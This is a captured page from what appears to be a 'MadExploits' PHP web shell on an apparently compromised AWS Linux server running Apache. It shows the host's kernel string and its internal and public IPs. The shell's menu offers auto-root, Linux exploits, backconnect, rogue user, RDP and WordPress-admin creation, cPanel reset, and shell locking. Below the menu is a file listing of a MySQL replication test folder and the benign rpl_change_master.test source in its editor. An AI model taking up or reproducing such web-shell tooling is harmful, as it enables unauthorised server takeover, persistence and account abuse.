Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.15.18.157
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
extra /
rpl_tests /
[ HOME SHELL ]
Name
Size
Permission
Action
check_type.inc
2.29
KB
-rw-r--r--
create_recursive_construct.inc
16.61
KB
-rw-r--r--
create_recursive_construct_stm...
16.48
KB
-rw-r--r--
delayed_slave_wait_on_query.in...
1.59
KB
-rw-r--r--
gtid_disconnect_drop_temporary...
3.11
KB
-rw-r--r--
rpl_EE_err.test
1.03
KB
-rw-r--r--
rpl_auto_increment.test
8.63
KB
-rw-r--r--
rpl_auto_increment_insert_view...
1.37
KB
-rw-r--r--
rpl_auto_increment_invoke_trig...
2.47
KB
-rw-r--r--
rpl_autoinc_func_invokes_trigg...
1.78
KB
-rw-r--r--
rpl_binlog_max_cache_size.test
18.23
KB
-rw-r--r--
rpl_blackhole.test
1.03
KB
-rw-r--r--
rpl_change_master.test
10.46
KB
-rw-r--r--
rpl_change_master_bind.inc
2.23
KB
-rw-r--r--
rpl_charset.test
4.45
KB
-rw-r--r--
rpl_check_gtid.inc
4.87
KB
-rw-r--r--
rpl_commit_after_flush.test
272
B
-rw-r--r--
rpl_conflicts.test
5.45
KB
-rw-r--r--
rpl_crash_safe.inc
4.13
KB
-rw-r--r--
rpl_crash_safe.test
7.61
KB
-rw-r--r--
rpl_create_msr_channels.inc
2.53
KB
-rw-r--r--
rpl_db_stmts_ignored.inc
1.7
KB
-rw-r--r--
rpl_ddl.test
21.62
KB
-rw-r--r--
rpl_deadlock.test
6.05
KB
-rw-r--r--
rpl_delete_no_where.test
523
B
-rw-r--r--
rpl_do_table_filter_insensitiv...
492
B
-rw-r--r--
rpl_do_table_filter_sensitive....
491
B
-rw-r--r--
rpl_drop_create_temp_table.inc
29.79
KB
-rw-r--r--
rpl_drop_create_temp_table.tes...
17.8
KB
-rw-r--r--
rpl_drop_multiple_tables.inc
4
KB
-rw-r--r--
rpl_drop_multiple_tables_in_mu...
1.18
KB
-rw-r--r--
rpl_extra_col_master.test
31.93
KB
-rw-r--r--
rpl_extra_col_slave.test
28.76
KB
-rw-r--r--
rpl_failed_optimize.test
666
B
-rw-r--r--
rpl_filters.test
530
B
-rw-r--r--
rpl_flsh_tbls.test
1.86
KB
-rw-r--r--
rpl_foreign_key.test
1.7
KB
-rw-r--r--
rpl_generate_mts_gap.test
1.6
KB
-rw-r--r--
rpl_generate_mts_gap_with_miss...
3.22
KB
-rw-r--r--
rpl_generate_mts_gap_with_miss...
408
B
-rw-r--r--
rpl_get_master_version_and_clo...
2.88
KB
-rw-r--r--
rpl_gtid_drop_table.inc
1.11
KB
-rw-r--r--
rpl_gtid_mixed_rows_and_stmts_...
3.35
KB
-rw-r--r--
rpl_gtid_mts_relay_log_recover...
4.39
KB
-rw-r--r--
rpl_gtid_temp_table_in_func_or...
3.69
KB
-rw-r--r--
rpl_gtids_restart_slave_io_los...
3.48
KB
-rw-r--r--
rpl_heartbeat_2slaves.inc
4.27
KB
-rw-r--r--
rpl_ignore_super_read_only.tes...
6.19
KB
-rw-r--r--
rpl_ignore_table_filter_insens...
508
B
-rw-r--r--
rpl_ignore_table_filter_sensit...
506
B
-rw-r--r--
rpl_implicit_commit_binlog.tes...
17.22
KB
-rw-r--r--
rpl_innodb.test
4.53
KB
-rw-r--r--
rpl_insert_id.test
15.12
KB
-rw-r--r--
rpl_insert_id_pk.test
2.65
KB
-rw-r--r--
rpl_insert_ignore.test
4.9
KB
-rw-r--r--
rpl_kill_query.inc
4.14
KB
-rw-r--r--
rpl_loaddata.test
8.91
KB
-rw-r--r--
rpl_loaddata_s.inc
896
B
-rw-r--r--
rpl_loadfile.test
1.08
KB
-rw-r--r--
rpl_log.test
3.9
KB
-rw-r--r--
rpl_lower_case_table_names.tes...
4.07
KB
-rw-r--r--
rpl_max_relay_size.test
2.58
KB
-rw-r--r--
rpl_mixing_engines.inc
23.15
KB
-rw-r--r--
rpl_mixing_engines.test
54.43
KB
-rw-r--r--
rpl_mts_crash_safe.inc
5.92
KB
-rw-r--r--
rpl_mts_crash_safe.test
6.74
KB
-rw-r--r--
rpl_mts_execute_partial_trx_in...
1.11
KB
-rw-r--r--
rpl_mts_pending_events.inc
4.91
KB
-rw-r--r--
rpl_mts_relay_log_recovery.tes...
2.93
KB
-rw-r--r--
rpl_mts_transaction_retry.inc
7.9
KB
-rw-r--r--
rpl_multi_query.test
782
B
-rw-r--r--
rpl_multi_source_corrupt_repos...
18.31
KB
-rw-r--r--
rpl_multi_source_generate_mts_...
2.11
KB
-rw-r--r--
rpl_multi_update.test
805
B
-rw-r--r--
rpl_multi_update2.test
1.35
KB
-rw-r--r--
rpl_multi_update3.test
4.52
KB
-rw-r--r--
rpl_not_null.test
10.76
KB
-rw-r--r--
rpl_parallel_ddl.test
5.35
KB
-rw-r--r--
rpl_parallel_load.test
6.1
KB
-rw-r--r--
rpl_parallel_load_innodb.test
7
KB
-rw-r--r--
rpl_parallel_recovery_core.tes...
6.74
KB
-rw-r--r--
rpl_partition.test
7.88
KB
-rw-r--r--
rpl_perfschema_applier_xa_stat...
2.96
KB
-rw-r--r--
rpl_perfschema_order_by.test
3.12
KB
-rw-r--r--
rpl_record_compare.test
2.1
KB
-rw-r--r--
rpl_relayrotate.test
2.68
KB
-rw-r--r--
rpl_replication_observers_exam...
2.61
KB
-rw-r--r--
rpl_reset_slave.test
3.82
KB
-rw-r--r--
rpl_reset_slave_all_thread_saf...
1.2
KB
-rw-r--r--
rpl_rollback_to_savepoint.inc
7.54
KB
-rw-r--r--
rpl_row_001.test
2.68
KB
-rw-r--r--
rpl_row_UUID.test
2.61
KB
-rw-r--r--
rpl_row_basic.test
24.58
KB
-rw-r--r--
rpl_row_blob.test
5.57
KB
-rw-r--r--
rpl_row_empty_imgs.test
5.69
KB
-rw-r--r--
rpl_row_event_max_size.inc
4.05
KB
-rw-r--r--
rpl_row_func003.test
3.13
KB
-rw-r--r--
rpl_row_idempotency.test
8.39
KB
-rw-r--r--
rpl_row_img.test
8.23
KB
-rw-r--r--
rpl_row_img_blobs.test
5.82
KB
-rw-r--r--
rpl_row_img_diff_indexes.test
9.11
KB
-rw-r--r--
rpl_row_sp002.test
5.26
KB
-rw-r--r--
rpl_row_sp003.test
2.02
KB
-rw-r--r--
rpl_row_sp006.test
2.78
KB
-rw-r--r--
rpl_row_sp007.test
1.5
KB
-rw-r--r--
rpl_row_tabledefs.test
7.97
KB
-rw-r--r--
rpl_seconds_behind_master_mts_...
12.04
KB
-rw-r--r--
rpl_seconds_behind_master_mts_...
10.2
KB
-rw-r--r--
rpl_semi_sync_ack_thread.inc
676
B
-rw-r--r--
rpl_semi_sync_after_sync.test
4.82
KB
-rw-r--r--
rpl_semi_sync_deadlock.test
1.46
KB
-rw-r--r--
rpl_semi_sync_group_commit_dea...
1.71
KB
-rw-r--r--
rpl_set_null.test
2.85
KB
-rw-r--r--
rpl_sp.test
17.69
KB
-rw-r--r--
rpl_split_statements.test
17.96
KB
-rw-r--r--
rpl_start_stop_slave.test
5.4
KB
-rw-r--r--
rpl_stm_EE_err2.test
1.5
KB
-rw-r--r--
rpl_stm_create_if_not_exists.t...
6.87
KB
-rw-r--r--
rpl_stop_middle_group.test
5.17
KB
-rw-r--r--
rpl_stop_slave.test
1.56
KB
-rw-r--r--
rpl_stress_test.inc
2.21
KB
-rw-r--r--
rpl_sv_relay_space.test
921
B
-rw-r--r--
rpl_sync_relay_log_info.inc
9.02
KB
-rw-r--r--
rpl_sync_relay_log_info_assert...
3.23
KB
-rw-r--r--
rpl_temp_error.test
623
B
-rw-r--r--
rpl_temporary.test
10.6
KB
-rw-r--r--
rpl_test_framework.inc
2.42
KB
-rw-r--r--
rpl_tmp_table_and_DDL.test
4.8
KB
-rw-r--r--
rpl_trig004.test
1.7
KB
-rw-r--r--
rpl_truncate.test
425
B
-rw-r--r--
rpl_truncate_helper.test
976
B
-rw-r--r--
rpl_trx_boundary_parser.inc
1.59
KB
-rw-r--r--
rpl_trx_boundary_parser_all_st...
7.19
KB
-rw-r--r--
rpl_trx_boundary_parser_one_st...
3.69
KB
-rw-r--r--
rpl_trx_boundary_parser_warnin...
4.51
KB
-rw-r--r--
rpl_variables_stm.test
24.26
KB
-rw-r--r--
rpl_xa_gtid_next.inc
2.46
KB
-rw-r--r--
rpl_xa_mixed_engines.inc
1.89
KB
-rw-r--r--
type_conversions.test
23.7
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rpl_change_master.test
# Verify that after CHANGE MASTER, replication (I/O thread and SQL # thread) restart from where SQL thread left, not from where # I/O thread left (some old bug fixed in 4.0.17) call mtr.add_suppression("Slave I/O: The slave I/O thread stops because a fatal error is encountered when it tried to SET @master_binlog_checksum"); connection slave; let $save_master_host= query_get_value(SHOW SLAVE STATUS, Master_Host, 1); connection master; # Make SQL slave thread advance a bit create table t1(n int); --sync_slave_with_master select * from t1; # Now stop it and make I/O slave thread be ahead stop slave sql_thread; connection master; insert into t1 values(1); insert into t1 values(2); save_master_pos; let $slave_param= Read_Master_Log_Pos; let $slave_param_value= query_get_value(SHOW MASTER STATUS, Position, 1); connection slave; source include/wait_for_slave_param.inc; source include/stop_slave.inc; let $read_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1); let $exec_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1); if ($read_pos == $exec_pos) { source include/show_rpl_debug_info.inc; echo 'Read_Master_Log_Pos: $read_pos' == 'Exec_Master_Log_Pos: $exec_pos'; die Failed because Read_Master_Log_Pos is equal to Exec_Master_Log_Pos; } --replace_column 2 #### change master to master_user='root'; let $read_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1); let $exec_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1); if ($read_pos != $exec_pos) { source include/show_rpl_debug_info.inc; echo 'Read_Master_Log_Pos: $read_pos' <> 'Exec_Master_Log_Pos: $exec_pos'; die Failed because Read_Master_Log_Pos is not equal to Exec_Master_Log_Pos; } start slave; sync_with_master; select * from t1; connection master; drop table t1; --sync_slave_with_master # End of 4.1 tests # # BUG#12190 CHANGE MASTER has differ path requiremts on MASTER_LOG_FILE and RELAY_LOG_FILE # --source include/rpl_reset.inc connection master; create table t1 (a int); insert into t1 values (1); flush logs; insert into t1 values (2); # Note: the master positon saved by this will also be used by the # 'sync_with_master' below. --sync_slave_with_master # Check if the table t1 and t2 are identical on master and slave; --let $diff_tables= master:t1, slave:t1 --source include/diff_tables.inc connection slave; source include/stop_slave.inc; delete from t1 where a=2; # start replication from the second insert, after fix of BUG#12190, # relay_log_file does not use absolute path, only the filename is # required # # Note: the follow change master will automatically reset # relay_log_purge to false, save the old value to restore let $relay_log_purge= `select @@global.relay_log_purge`; CHANGE MASTER TO relay_log_file='slave-relay-bin.000005', relay_log_pos=4; start slave sql_thread; source include/wait_for_slave_sql_to_start.inc; # Sync to the same position saved by the 'sync_slave_with_master' above. sync_with_master; # Check if the table t1 and t2 are identical on master and slave; --let $diff_tables= master:t1, slave:t1 --source include/diff_tables.inc # clean up connection slave; start slave io_thread; source include/wait_for_slave_io_to_start.inc; eval set global relay_log_purge=$relay_log_purge; connection master; drop table t1; --sync_slave_with_master # # BUG#44209: MASTER_CONNECT_RETRY and --master-retry-count disconnected from each other # -- connection master -- source include/rpl_reset.inc -- connection slave -- let $retry_count0= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) # assertion: show that the command line is still valid (MTR sets it to 10) -- echo Master_Retry_Count: $retry_count -- source include/stop_slave.inc # action: change the initial value to some other value -- let $retry_count1= `SELECT $retry_count0+10` -- eval CHANGE MASTER TO master_retry_count=$retry_count1 -- source include/start_slave.inc -- let $retry_count1= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) # assertion: it shows the new value -- retry_count0 +10 if (`SELECT $retry_count1 <> ($retry_count0+10)`) { -- let $expected= `SELECT $retry_count0+10` -- echo Unexpected retry count value! Got: $retry_count1, expected: $expected -- die } -- source include/stop_slave.inc # action: change master_retry_count to zero will set it to zero. -- let $retry_count1= 0 -- eval CHANGE MASTER TO master_retry_count=$retry_count1 -- source include/start_slave.inc -- let $retry_count2= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) # assertion: it shows no changes if ($retry_count2 != $retry_count1) { -- echo Unexpected retry count value! Got: $retry_count2, expected: $retry_count1 -- die } -- source include/stop_slave.inc # action: change the value to the smallest value possible CHANGE MASTER TO master_retry_count=1; -- source include/start_slave.inc -- let $retry_count3= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) # assertion: it should show 1 if ($retry_count3 != 1) { -- echo Unexpected retry count value! Got: $retry_count3, expected: 1 -- die } -- source include/stop_slave.inc # action: change the value back to the original one -- eval CHANGE MASTER TO master_retry_count=$retry_count0 -- source include/start_slave.inc -- let $retry_count4= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) # assertion: it should show 1 if ($retry_count4 != $retry_count0) { -- echo Unexpected retry count value! Got: $retry_count4, expected: $retry_count0 -- die } ## Now lets change master_retry_count to the maximum value possible ## and stop and restart the slave to check that (in the middle of it ## we also check that when issueing CHANGE MASTER TO without specifying ## master_retry_count will not affect its current value): ## 1. master_retry_count persists after restart ## 2. setting a value higher than the max will make the max to be set. ## 3. maximum value is accepted and persists after serialization ## and de-serialization -- source include/stop_slave.inc -- let $retry_count_set= 18446744073709551616 -- replace_result 18446744073709551616 RETRY_COUNT_SET -- eval CHANGE MASTER TO master_retry_count=$retry_count_set -- let $retry_count_expected= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) -- replace_result 18446744073709551615 RETRY_COUNT_EXPECTED 4294967295 RETRY_COUNT_EXPECTED 9223372036854775807 RETRY_COUNT_EXPECTED -- eval SELECT $retry_count_expected AS current_retry_count ## assert that issuing CHANGE MASTER without changing master_retry_count ## does not affect the existing value for master_retry_count -- let $connect_retry_old= query_get_value(SHOW SLAVE STATUS, Connect_Retry, 1) -- let $connect_retry_new= `SELECT $connect_retry_old + 1` -- let $retry_count_before= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) -- eval CHANGE MASTER TO master_connect_retry= $connect_retry_new -- let $retry_count_after= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) if ($retry_count_before != $retry_count_after) { -- echo Unexpected retry count value! Got: $retry_count_after, expected: $retry_count_before -- die } -- eval CHANGE MASTER TO master_connect_retry= $connect_retry_old ## Server restart persisting test --let $rpl_server_number= 2 --source include/rpl_restart_server.inc -- source include/start_slave.inc -- let $retry_count5= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) if ($retry_count5 != $retry_count_expected) { -- echo Unexpected retry count value! Got: $retry_count5, expected: $retry_count_expected -- die } # action: change the value back to the original one -- source include/stop_slave.inc -- eval CHANGE MASTER TO master_retry_count=$retry_count0 ## assert that there is a parse error if not using a numerical value -- error ER_PARSE_ERROR CHANGE MASTER TO master_retry_count='a'; ## assert that there is a parse error if using a negative number -- error ER_PARSE_ERROR CHANGE MASTER TO master_retry_count=-1; -- source include/start_slave.inc ## assert that the test has cleaned itself up -- let $retry_count6= query_get_value(SHOW SLAVE STATUS, Master_Retry_Count, 1) if ($retry_count6 != $retry_count0) { -- echo Unexpected retry count value! Got: $retry_count6, expected: $retry_count0 -- die } ## Checks if Replicate_Ignore_Server_Ids is correctly written to a repository. --connection slave -- source include/stop_slave.inc -- let $connect_old_value= query_get_value(SHOW SLAVE STATUS, Connect_Retry, 1) -- let $ignore_old_value= query_get_value(SHOW SLAVE STATUS, Replicate_Ignore_Server_Ids, 1) -- eval CHANGE MASTER TO master_connect_retry= 200, IGNORE_SERVER_IDS= (100, 200, 300, 400, 500) -- let $connect_new_value= query_get_value(SHOW SLAVE STATUS, Connect_Retry, 1) -- let $ignore_new_value= query_get_value(SHOW SLAVE STATUS, Replicate_Ignore_Server_Ids, 1) --let $rpl_server_number= 2 --source include/rpl_restart_server.inc -- source include/start_slave.inc -- let $connect_crash_value= query_get_value(SHOW SLAVE STATUS, Connect_Retry, 1) -- let $ignore_crash_value= query_get_value(SHOW SLAVE STATUS, Replicate_Ignore_Server_Ids, 1) -- echo Eexpected values: "$ignore_new_value" == "$ignore_crash_value" or $connect_new_value == $connect_crash_value if (`SELECT "$ignore_new_value" <> "$ignore_crash_value" || $connect_new_value <> $connect_crash_value`) { -- echo Unexpected values: "$ignore_new_value" <> "$ignore_crash_value" or $connect_new_value <> $connect_crash_value -- die } # clean up --source include/stop_slave.inc CHANGE MASTER TO IGNORE_SERVER_IDS= (); --source include/start_slave.inc # # WL#3127 slave side TCP address binding # - CHANGE MASTER ... MASTER_BIND='interface' # - SHOW SLAVE STATUS has new column Master_Bind # let $check_ipv6_just_check=1; source include/check_ipv6.inc; let $check_ipv6_just_check=0; # Test valid IPv4 address let $master_bind='127.0.0.1'; --source extra/rpl_tests/rpl_change_master_bind.inc # Test invalid IPv4 address let $master_bind='1.1.1.1'; let $master_bind_error_expected=2003; --source extra/rpl_tests/rpl_change_master_bind.inc let $master_bind_error_expected=0; # Test valid IPv6 address let $master_bind='::1'; if (!$check_ipv6_supported) { # No IPv6 support, fallback to IPv4 let $master_bind='127.0.0.1'; } --source extra/rpl_tests/rpl_change_master_bind.inc # Test with no bind address(check that reset works) let $master_bind=''; --source extra/rpl_tests/rpl_change_master_bind.inc ### Revert to original master_host value --source include/stop_slave.inc --replace_result $save_master_host SAVE_MASTER_HOST --eval CHANGE MASTER TO master_host='$save_master_host' --source include/start_slave.inc
Close